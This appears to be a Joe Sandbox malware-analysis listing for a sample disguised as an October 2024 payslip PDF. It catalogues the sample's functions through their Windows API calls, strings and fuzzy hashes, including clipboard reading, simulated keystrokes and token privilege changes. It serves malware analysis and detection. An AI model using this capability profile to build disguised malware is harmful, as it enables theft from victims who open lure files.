Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 89999030d410fb628d87e4a19d9f2b7d51cefcccf0dda9c95a58465382cc146f
Instruction ID: 29ae8dbc29f72b949b130437e764f0110bad95db3d5ddef040f1cc83cf4814e7
Opcode Fuzzy Hash: 89999030d410fb628d87e4a19d9f2b7d51cefcccf0dda9c95a58465382cc146f
Instruction Fuzzy Hash: 5101F972204706BED7205F79CC02F67BB98EB45760F10862EF95ACB2D1EA31E6409750

Function 00CC4A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00CC4AD6

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 673c8299b3aa6de105957ac40267112b4967ac0a6e694381051308d116f48499
Instruction ID: de658c3e9487540d2be7d4fee7c40fe3e3e5a902454a44a8b427147e92b3d5f4
Opcode Fuzzy Hash: 673c8299b3aa6de105957ac40267112b4967ac0a6e694381051308d116f48499
Instruction Fuzzy Hash: 7CF0FF31800209ABDF65AFA4CC12BAF36A1AF00325F08C50CF824AA0D1CB788E55FF50

Function 00CA4FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00D662F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00CA4FDE

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 2fd2462bcd06f624860ca5f2a58d870501669a85b46704e7bf1b84e1aa79e0c0
Instruction ID: 406f840bd3a4b6cd637f1e8c5fe640f8ab4144bbe98bd9fe013332861e2cccaa
Opcode Fuzzy Hash: 2fd2462bcd06f624860ca5f2a58d870501669a85b46704e7bf1b84e1aa79e0c0
Instruction Fuzzy Hash: 24F03971105712CFCB389FA5E894812BBF1BF5632E3209A7EE1E682610C7B1A990DF50

Function 00CC09D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00CC09F4

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 3f9c5ad63557eaeb93ba526e1677c1f6660062b93f8df0f9243bd96a5cf02006
Instruction ID: 3c852df1c95dfb37e9e5ead09bbb7f68071c48858d22cb7cf7ec019c51f80052
Opcode Fuzzy Hash: 3f9c5ad63557eaeb93ba526e1677c1f6660062b93f8df0f9243bd96a5cf02006
Instruction Fuzzy Hash: 52E0867690422867C720D6989C05FFA77ADDF89690F0401B6FD4CD7304D9609C818690

Function 00D09129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00D0914B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction ID: 57ef489f925829d3dcb5df7e9516b1110e1b769e956df6b691ca527b4c73793b
Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction Fuzzy Hash: EAE092B0604B009FD7348A24D810BE3B3E0AB06315F04091CF29AC3382EB6278418759

Function 00CA5DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,00CDE16B,?,?,00000000), ref: 00CA5DBF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d31eaed7f24ce17d02fc15f8dfedce67867c85e1eaa447594490b50a337d3a41
Instruction ID: 2db821282fe5538fc6614ea0ed41cf5d255bd737173235e4cf32f3222c0cc2d3
Opcode Fuzzy Hash: d31eaed7f24ce17d02fc15f8dfedce67867c85e1eaa447594490b50a337d3a41
Instruction Fuzzy Hash: 2FD0C77464030CBFE710DB80DC46FA9777CD705710F500194FD0496390D6B27D508795

Function 00CC548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00CC5496

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 389cbdcc1691f505fe0cbbee054f7692a59c7e15853318d7371fce43c286a498
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 68B0927A84020C77DE012E82EC02F593B199B40679F808020FB0C28162A673A6E0A689

Function 00D0D2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00D0D46A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: db06334b8f105480b6ca9fc541d8400697718ba71d36d1924fb1d09c4051d9f9
Instruction ID: 39ade40d98250f925980b5a332dfdac0c3df218e458055fb710e41c74f191f10
Opcode Fuzzy Hash: db06334b8f105480b6ca9fc541d8400697718ba71d36d1924fb1d09c4051d9f9
Instruction Fuzzy Hash: BB7142342043028FC714EF64C491B6EB7E5AF85318F18456DF89A9B2E1DB30ED45DB62

Function 0130A050 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 0130A061

Memory Dump Source

Source File: 00000000.00000002.1673906698.0000000001307000.00000040.00000020.00020000.00000000.sdmp, Offset: 01307000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1307000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 02135216e2f6aaf99de1c9fe7d1ad34117780229e8aa099fb800e8b37d522abd
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: C4E0E67494020DDFDB00EFB4D54969E7FF4EF04302F100161FD01D2281D6309D508A62

Non-executed Functions

Function 00D2CDAC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00D2CE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D2CE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00D2CED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D2CF00
SendMessageW.USER32 ref: 00D2CF29
_wcsncpy.LIBCMT ref: 00D2CFA1
GetKeyState.USER32(00000011), ref: 00D2CFC2
GetKeyState.USER32(00000009), ref: 00D2CFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D2CFE5
GetKeyState.USER32(00000010), ref: 00D2CFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D2D018
SendMessageW.USER32 ref: 00D2D03F
SendMessageW.USER32(?,00001030,?,00D2B602), ref: 00D2D145
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00D2D15B
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00D2D16E
SetCapture.USER32(?), ref: 00D2D177
ClientToScreen.USER32(?,?), ref: 00D2D1DC
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00D2D1E9
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D2D203
ReleaseCapture.USER32 ref: 00D2D20E
GetCursorPos.USER32(?), ref: 00D2D248
ScreenToClient.USER32(?,?), ref: 00D2D255
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D2D2B1
SendMessageW.USER32 ref: 00D2D2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D2D31C
SendMessageW.USER32 ref: 00D2D34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00D2D36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00D2D37B
GetCursorPos.USER32(?), ref: 00D2D39B
ScreenToClient.USER32(?,?), ref: 00D2D3A8
GetParent.USER32(?), ref: 00D2D3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D2D431
SendMessageW.USER32 ref: 00D2D462
ClientToScreen.USER32(?,?), ref: 00D2D4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00D2D4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D2D51A
SendMessageW.USER32 ref: 00D2D53D
ClientToScreen.USER32(?,?), ref: 00D2D58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00D2D5C3

Part of subcall function 00CA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00CA25EC

GetWindowLongW.USER32(?,000000F0), ref: 00D2D65F

Strings

@GUI_DRAGID, xrefs: 00D2D1AA
F, xrefs: 00D2D543

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: be38e06b4a22b7ac1eb9eef48df69583a09280bf08bb9cf5abe24d047380207c
Instruction ID: 2551c86e6daa6e63c2744f8fed645f8a006b648850191a1154e5862a7ced577f
Opcode Fuzzy Hash: be38e06b4a22b7ac1eb9eef48df69583a09280bf08bb9cf5abe24d047380207c
Instruction Fuzzy Hash: F3427930204361AFD725CF28D844AAABBF6FF59318F180929F695872A0C771DC55DBB2

Function 00D2804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00D2873F

Strings

%d/%02d/%02d, xrefs: 00D28478

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 10e7597d8c9b3378672995d31a8ff1df4497795d26ad5bd020e2ebc7e0325a25
Instruction ID: 5edb87f72a3c11f99566bb401c7a832b4867a0fbdea6576633f11e9cd0504771
Opcode Fuzzy Hash: 10e7597d8c9b3378672995d31a8ff1df4497795d26ad5bd020e2ebc7e0325a25
Instruction Fuzzy Hash: 7712E371501324ABEB258F24EC49FAE7BB8EF59314F244529F915EB2E1DF708941EB20

Function 00CB710E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CB75C2
_memset.LIBCMT ref: 00CB76B1
_memmove.LIBCMT ref: 00CB7C4B
_memmove.LIBCMT ref: 00CB7E4F

Strings

DEFINE, xrefs: 00CF25AF
\b(?<=\w), xrefs: 00CF3C41
[:>:]], xrefs: 00CB760A
Q\E, xrefs: 00CB81C1
\b(?=\w), xrefs: 00CF3C34
[:<:]], xrefs: 00CB75F1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 6ae565ba3363927e2973292c3567e17c7ed1553d630a13cf11248dc5814e5956
Instruction ID: 41617156468de1462cb2fc65ca5050014a6357aada94f9894617ceb0cca83f52
Opcode Fuzzy Hash: 6ae565ba3363927e2973292c3567e17c7ed1553d630a13cf11248dc5814e5956
Instruction Fuzzy Hash: 76939F71A00219DBDB64CF98C881BFDB7B1FF48310F25816AEA55EB290E7709E81CB51

Function 00CA4A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00CA4A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00CDDA8E
IsIconic.USER32(?), ref: 00CDDA97
ShowWindow.USER32(?,00000009), ref: 00CDDAA4
SetForegroundWindow.USER32(?), ref: 00CDDAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00CDDAC4
GetCurrentThreadId.KERNEL32 ref: 00CDDACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDDAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 00CDDAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 00CDDAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 00CDDAF8
SetForegroundWindow.USER32(?), ref: 00CDDAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CDDB10
keybd_event.USER32(00000012,00000000), ref: 00CDDB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CDDB25
keybd_event.USER32(00000012,00000000), ref: 00CDDB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CDDB33
keybd_event.USER32(00000012,00000000), ref: 00CDDB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CDDB42
keybd_event.USER32(00000012,00000000), ref: 00CDDB47
SetForegroundWindow.USER32(?), ref: 00CDDB4A
AttachThreadInput.USER32(?,?,00000000), ref: 00CDDB71

Strings

Shell_TrayWnd, xrefs: 00CDDA89

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 9ac30e7b055e014b5bd2cc6ddfee1c04b81624063ff9d0a8c8a20940343f1367
Instruction ID: e59a2620ca0ce6ee3244de8a864907fab7a874603f5b987b2e3cef30dfa7eb89
Opcode Fuzzy Hash: 9ac30e7b055e014b5bd2cc6ddfee1c04b81624063ff9d0a8c8a20940343f1367
Instruction Fuzzy Hash: 10318E71A80318BFEB306FA19C49F7E7E7CEB54B51F114436FA05EA2D0C6B05901AAB0

Function 00CF8858 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00CF8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CF8D0D
Part of subcall function 00CF8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CF8D3A
Part of subcall function 00CF8CC3: GetLastError.KERNEL32 ref: 00CF8D47

_memset.LIBCMT ref: 00CF889B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00CF88ED
CloseHandle.KERNEL32(?), ref: 00CF88FE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00CF8915
GetProcessWindowStation.USER32 ref: 00CF892E
SetProcessWindowStation.USER32(00000000), ref: 00CF8938
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00CF8952

Part of subcall function 00CF8713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CF8851), ref: 00CF8728
Part of subcall function 00CF8713: CloseHandle.KERNEL32(?,?,00CF8851), ref: 00CF873A

Strings

default, xrefs: 00CF894D
winsta0, xrefs: 00CF8910
, xrefs: 00CF88AA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 1682570848d97c118a28c9aeb426fa7615b5c94e4aeb6f1b36fbc3c66db4df61
Instruction ID: 3c3a3c50464292b4977d1dd7b2e64ed50df723da64163d64949611de187c8f2a
Opcode Fuzzy Hash: 1682570848d97c118a28c9aeb426fa7615b5c94e4aeb6f1b36fbc3c66db4df61
Instruction Fuzzy Hash: B181507190020DAFDF51DFA4DC45AFE7B78EF14304F18456AFA20A6261DB318E19EB61

Function 00D1425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00D2F910), ref: 00D14284
IsClipboardFormatAvailable.USER32(0000000D), ref: 00D14292
GetClipboardData.USER32(0000000D), ref: 00D1429A
CloseClipboard.USER32 ref: 00D142A6
GlobalLock.KERNEL32(00000000), ref: 00D142C2
CloseClipboard.USER32 ref: 00D142CC
GlobalUnlock.KERNEL32(00000000), ref: 00D142E1
IsClipboardFormatAvailable.USER32(00000001), ref: 00D142EE
GetClipboardData.USER32(00000001), ref: 00D142F6
GlobalLock.KERNEL32(00000000), ref: 00D14303
GlobalUnlock.KERNEL32(00000000), ref: 00D14337
CloseClipboard.USER32 ref: 00D14447

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 6fc936da50da8a89c859fa309087058af1354775a0104351b8c172985f699029
Instruction ID: 5199befd2950885ab3f19b867c3f375521190dd0f9f087b2a7e89d44065f2e1f
Opcode Fuzzy Hash: 6fc936da50da8a89c859fa309087058af1354775a0104351b8c172985f699029
Instruction Fuzzy Hash: F0519F31204302ABD321AB60EC86FAE77B8AF94B01F144939F556D22A1DF70D9469A76

Function 00D0C9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00D0C9F8
FindClose.KERNEL32(00000000), ref: 00D0CA4C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D0CA71
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D0CA88
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D0CAAF
__swprintf.LIBCMT ref: 00D0CAFB
__swprintf.LIBCMT ref: 00D0CB3E

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

__swprintf.LIBCMT ref: 00D0CB92

Part of subcall function 00CC38D8: __woutput_l.LIBCMT ref: 00CC3931

__swprintf.LIBCMT ref: 00D0CBE0

Part of subcall function 00CC38D8: __flsbuf.LIBCMT ref: 00CC3953
Part of subcall function 00CC38D8: __flsbuf.LIBCMT ref: 00CC396B

__swprintf.LIBCMT ref: 00D0CC2F
__swprintf.LIBCMT ref: 00D0CC7E
__swprintf.LIBCMT ref: 00D0CCCD

Strings

%02d, xrefs: 00D0CB86, 00D0CB90, 00D0CBDE, 00D0CC2D, 00D0CC7C, 00D0CCCB
%4d, xrefs: 00D0CB38
%4d%02d%02d%02d%02d%02d, xrefs: 00D0CAF5

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
